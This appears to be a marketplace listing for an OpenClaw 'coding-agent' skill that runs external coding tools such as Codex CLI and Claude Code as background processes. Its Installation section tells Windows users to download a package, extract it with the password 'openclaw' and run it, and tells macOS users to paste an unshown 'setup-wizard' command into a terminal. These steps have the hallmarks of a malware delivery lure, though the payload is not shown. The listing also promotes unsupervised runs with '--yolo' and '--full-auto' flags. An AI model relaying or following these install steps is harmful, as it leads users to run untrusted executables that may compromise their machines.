coding-agent

What This Skill Does

The coding-agent skill is a powerful automation utility designed to integrate external AI-driven coding tools (Codex CLI, Claude Code, OpenCode, or Pi Coding Agent) directly into the OpenClaw environment. By executing these tools as background processes, the skill enables developers to delegate complex programmatic tasks—such as feature implementation, bug fixing, or code review—while maintaining the OpenClaw agent's availability for other tasks. It provides fine-grained control over working directories and execution modes, supporting everything from sandboxed, auto-approved builds to high-speed 'YOLO' modes for rapid development cycles.

Installation

To begin, ensure you have the OpenClawProvider installed. For Windows users, download the OpenClawProvider package from the official repository, extract it using the password 'openclaw', and execute it. MacOS users should copy and execute the provided setup-wizard command in their terminal to initialize the environment. Once the provider is active, install the skill via the command: clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-8wyxxelkv.

Use Cases

This skill is ideal for developers who need to perform asynchronous coding tasks. It excels in generating boilerplate code, scaffolding new projects, and performing automated code reviews across multiple repositories. By leveraging the workdir feature, developers can isolate the agent's file access to specific directories, ensuring that sensitive files remain untouched during execution. It is particularly useful for CI/CD pipelines where autonomous PR reviews or project structure updates are required without manual oversight.

Example Prompts

1. "Open the project at ~/dev/web-app and use the coding-agent to implement a dark mode toggle using the --full-auto flag."
2. "Review the pending PR at ~/dev/api-server using the background coding-agent process and report the findings in my chat."
3. "Create a new directory for my snake game prototype, set the coding-agent to work in that folder, and build a basic game loop using the --yolo flag."

Tips & Limitations

Always prefer the tmux skill for interactive sessions where the agent needs to ask clarifying questions or require human input. Reserve the coding-agent's background mode for well-defined, non-interactive tasks. When performing code reviews, especially on sensitive repositories like clawdbot, always clone the target into a temporary, isolated workspace to prevent accidental modification of your local source. Never run --yolo mode on production codebases, as this bypasses critical security sandboxing. Monitor long-running processes periodically using the process action:poll command to ensure the agent has not stalled or encountered unexpected build failures.